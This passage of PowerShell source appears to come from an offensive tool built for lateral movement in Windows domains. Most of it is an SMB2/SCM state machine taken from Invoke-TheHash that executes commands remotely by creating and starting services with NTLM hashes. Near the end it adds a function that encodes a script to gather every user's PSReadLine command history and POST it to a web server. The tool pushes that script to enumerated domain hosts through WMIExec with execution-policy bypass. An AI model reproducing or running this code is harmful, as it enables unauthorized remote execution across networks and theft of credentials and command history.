$file_ID $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data $stage = 'SendReceive' } 'CloseServiceHandle' { if($SMB_close_service_handle_stage -eq 1) { Write-Verbose "Service $SMB_service deleted on $Target" $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle } else { $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle } $SMB_close_service_handle_stage++ $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $stage = 'SendReceive' } 'CreateRequest' { $stage_current = $stage $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' } else { $stage = 'StatusReceived' } } catch { Write-Output "[-] Session connection is closed" $stage = 'Exit' } } 'CreateServiceW' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $stage = 'SendReceive' } 'CreateServiceW_First' { $stage_current = $stage $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) $SMB_split_index_tracker = $SMB_split_index $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data $stage = 'SendReceive' } 'CreateServiceW_Middle' { $stage_current = $stage $SMB_split_stage++ $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] $SMB_split_index_tracker += $SMB_split_index $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data $stage = 'SendReceive' } 'CreateServiceW_Last' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data $stage = 'SendReceive' } 'DeleteServiceW' { if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00') { Write-Output "[+] Command executed with service $SMB_service on $Target" } elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00') { Write-Output "[-] Service $SMB_service failed to start on $Target" } $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $stage = 'SendReceive' } 'Logoff' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data $stage = 'SendReceive' } 'OpenSCManagerW' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $stage = 'SendReceive' } 'ReadRequest' { Start-Sleep -m $Sleep $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2ReadRequest $file_ID $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data $stage = 'SendReceive' } 'RPCBind' { $stage_current = $stage $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data $stage = 'SendReceive' } 'SendReceive' { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' } else { $stage = 'StatusReceived' } } 'StartServiceW' { if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00') { Write-Verbose "Service $SMB_service created on $Target" $SMB_service_context_handle = $client_receive[112..131] $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data Write-Verbose "[*] Trying to execute command on $Target" $stage = 'SendReceive' } elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00') { Write-Output "[-] Service $SMB_service creation failed on $Target" $stage = 'Exit' } else { Write-Output "[-] Service creation fault context mismatch" $stage = 'Exit' } } 'StatusPending' { $client_stream.Read($client_receive,0,$client_receive.Length) > $null if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') { $stage = 'StatusReceived' } } 'StatusReceived' { switch ($stage_current) { 'CloseRequest' { $stage = 'TreeDisconnect' } 'CloseServiceHandle' { if($SMB_close_service_handle_stage -eq 2) { $stage = 'CloseServiceHandle' } else { $stage = 'CloseRequest' } } 'CreateRequest' { $file_ID = $client_receive[132..147] if($Refresh -and $stage -ne 'Exit') { Write-Output "[+] Session refreshed" $stage = 'Exit' } elseif($stage -ne 'Exit') { $stage = 'RPCBind' } } 'CreateServiceW' { $stage = 'ReadRequest' $stage_next = 'StartServiceW' } 'CreateServiceW_First' { if($SMB_split_stage_final -le 2) { $stage = 'CreateServiceW_Last' } else { $SMB_split_stage = 2 $stage = 'CreateServiceW_Middle' } } 'CreateServiceW_Middle' { if($SMB_split_stage -ge $SMB_split_stage_final) { $stage = 'CreateServiceW_Last' } else { $stage = 'CreateServiceW_Middle' } } 'CreateServiceW_Last' { $stage = 'ReadRequest' $stage_next = 'StartServiceW' } 'DeleteServiceW' { $stage = 'ReadRequest' $stage_next = 'CloseServiceHandle' $SMB_close_service_handle_stage = 1 } 'Logoff' { $stage = 'Exit' } 'OpenSCManagerW' { $stage = 'ReadRequest' $stage_next = 'CheckAccess' } 'ReadRequest' { $stage = $stage_next } 'RPCBind' { $stage = 'ReadRequest' $stage_next = 'OpenSCManagerW' } 'StartServiceW' { $stage = 'ReadRequest' $stage_next = 'DeleteServiceW' } 'TreeConnect' { $tree_ID = $client_receive[40..43] $stage = 'CreateRequest' } 'TreeDisconnect' { if($inveigh_session -and !$Logoff) { $stage = 'Exit' } else { $stage = 'Logoff' } } } } 'TreeConnect' { $tree_ID = $client_receive[40..43] $message_ID++ $stage_current = $stage $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' } else { $stage = 'StatusReceived' } } catch { Write-Output "[-] Session connection is closed" $stage = 'Exit' } } 'TreeDisconnect' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB2_sign = $SMB2_header + $SMB2_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data $stage = 'SendReceive' } } } } catch { Write-Output "[-] $($_.Exception.Message)" } } } if($inveigh_session -and $Inveigh) { $inveigh.session_lock_table[$session] = 'open' $inveigh.session_message_ID_table[$session] = $message_ID $inveigh.session[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} } if(!$inveigh_session -or $Logoff) { $client.Close() $client_stream.Close() } } } #######################END OF CODE COPIED FROM Invoke-TheHash ####################### ############################### Thanks Kevin Robertson!!! ########################## #Gen-EncodedUploadScript generates a PowerShell encoded command to use with WMIExec or SMBExec to exfil a file to a webserver. Function Gen-EncodedUploadScript{ param( [Parameter(Position = 1, Mandatory = $false)] [string] $UploadURL = "" ) $UnencodedCommand = { ######## Manually change the URL here for now until I figure out ########how to pass the variable into this part that gets encoded ########See the Readme for server setup. $Url = "https:///index.php" ################################################################ $UserProfiles = Get-ChildItem C:\Users\ | Where-Object {$_.PSIsContainer} | Foreach-Object {$_.Name} $hostname = [System.Net.Dns]::GetHostName() #Checking every profile for PSReadline foreach($profile in $UserProfiles){ $ReadLineExists = Test-Path C:\Users\$profile\appdata\Roaming\Microsoft\Windows\PowerShell\PSReadLine if ($ReadLineExists){ $FilePath = "C:\Users\$profile\appdata\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" #Building the body of a POST request to server. $boundary = [Guid]::NewGuid().ToString() $bodyStart = @" --$boundary Content-Disposition: form-data; name="uploaded_file"; filename="$("PSReadLine-" + $hostname + "-" + $profile + ".txt")" Content-Type: multipart/form-data "@ $bodyEnd = @" --$boundary-- "@ $requestInFile = (Join-Path -Path $env:TEMP -ChildPath ([IO.Path]::GetRandomFileName())) $fileStream = (New-Object -TypeName 'System.IO.FileStream' -ArgumentList ($requestInFile, [IO.FileMode]'Create', [IO.FileAccess]'Write')) $bytes = [Text.Encoding]::UTF8.GetBytes($bodyStart) $fileStream.Write($bytes, 0, $bytes.Length) $bytes = [IO.File]::ReadAllBytes($FilePath) $fileStream.Write($bytes, 0, $bytes.Length) $bytes = [Text.Encoding]::UTF8.GetBytes($bodyEnd) $fileStream.Write($bytes, 0, $bytes.Length) $fileStream.Close() $fileStream = $null [GC]::Collect() $contentType = 'multipart/form-data; boundary={0}' -f $boundary (Microsoft.PowerShell.Utility\Invoke-RestMethod -Uri $Url -Method Post -InFile $requestInFile -ContentType $contentType -ErrorAction Stop -WarningAction SilentlyContinue) $null = (Remove-Item -Path $requestInFile -Force -Confirm:$false) $contentType = $null [GC]::Collect() } } } $Bytes = [System.Text.Encoding]::Unicode.GetBytes($UnencodedCommand) $Base64 = [Convert]::ToBase64String($Bytes) return $Base64 } if ($Protocol -eq "WMI") { #$count = 1 if ($hostlist -match "127.0.0.1") { $null = Get-Date } else{ Foreach($target in $Hostlist){ ####Check to see if WMI can connect with provided creds if ($UserDomain){ #Write-Verbose "[*] Now checking $target.`r`n" $WMIConnectResult = Invoke-WMIExec -Target $Target -Domain $UserDomain -Username $username -Hash $passwordhash #$count++ } else{ #Write-Verbose "[*] Now checking $target.`r" $WMIConnectResult = Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash #$count++ } #Checking output of Invoke-WMIExec to determine if successful or not if($WMIConnectResult -match "accessed"){ #$successcount++ if($ExfilPSReadline){ $Base64 = Gen-EncodedUploadScript $Base64 | out-file C:\temp\b64.txt Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash -Command "powershell.exe -exec bypass -encodedcommand $Base64" } else{ Write-Output "[*] Successfuly accessed $Target as an admin." } } } } #Write-Output "A total of $successcount hosts were accessed successfully." } elseif($Protocol -eq "SMB") { #$count = 1 if ($hostlist -match "127.0.0.1") { $null = Get-Date } else{ Foreach($target in $Hostlist){ ####Check to see if SMB can connect with provided creds if ($UserDomain){ #Write-Verbose "[*] Now checking $target.`r" $SMBConnectResult = Invoke-SMBExec -Target $Target -Domain $UserDomain -Username $username -Hash $passwordhash -ErrorAction SilentlyContinue #$count++ } else{ #Write-Verbose "[*] Now checking $target.`r" $SMBConnectResult = Invoke-SMBExec -Target $Target -Username $Username -Hash $PasswordHash -ErrorAction SilentlyContinue $count++ } #Checking output of Invoke-SMBExec to determine if successful or not if($SMBConnectResult -match "has Service Control Manager write privilege"){ #$successcount++ if($ExfilPSReadline){ $Base64 = Gen-EncodedUploadScript $Base64 | out-file C:\temp\b64.txt Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash -Command "powershell.exe -exec bypass -encodedcommand $Base64" } else{ Write-Output "[*] Successfuly accessed $Target as admin." } } } #Write-Output "A total of $successcount hosts were accessed successfully." } } } $successcount = 0 #### Get all computers or just check one system or specify hostlist in cidr format if($allsystems){ $hostlist = New-Object System.Collections.ArrayList if($Domain -eq ""){ Write-Output "[-] You must enter a domain to enumerate all computers." } else{ Write-Output "[*] Now enumerating all systems from the domain into a target list..." $hostlist = Get-DomainComputer -Domain $Domain | select-object -expandproperty dnshostname $counttotal = $hostlist.count Write-Output ("[*] Found a total of " + $hostlist.count +" systems.") } if($Threads) { Write-Verbose "Using threading with threads = $Threads" # if we're using threading, kick off the script block with Invoke-ThreadedFunction $ScriptParams = @{ #'Hostlist' = $Hostlist 'Username' = $Username 'PasswordHash' = $PasswordHash 'UserDomain' = $UserDomain 'Protocol' = $Protocol 'counttotal' = $counttotal 'ExfilPSReadline' = $ExfilPSReadline } # kick off the threaded script block + arguments Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads } else{ Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal } } elseif ($cidr){ ###Hostlist generator taken from @rvrsh3ll 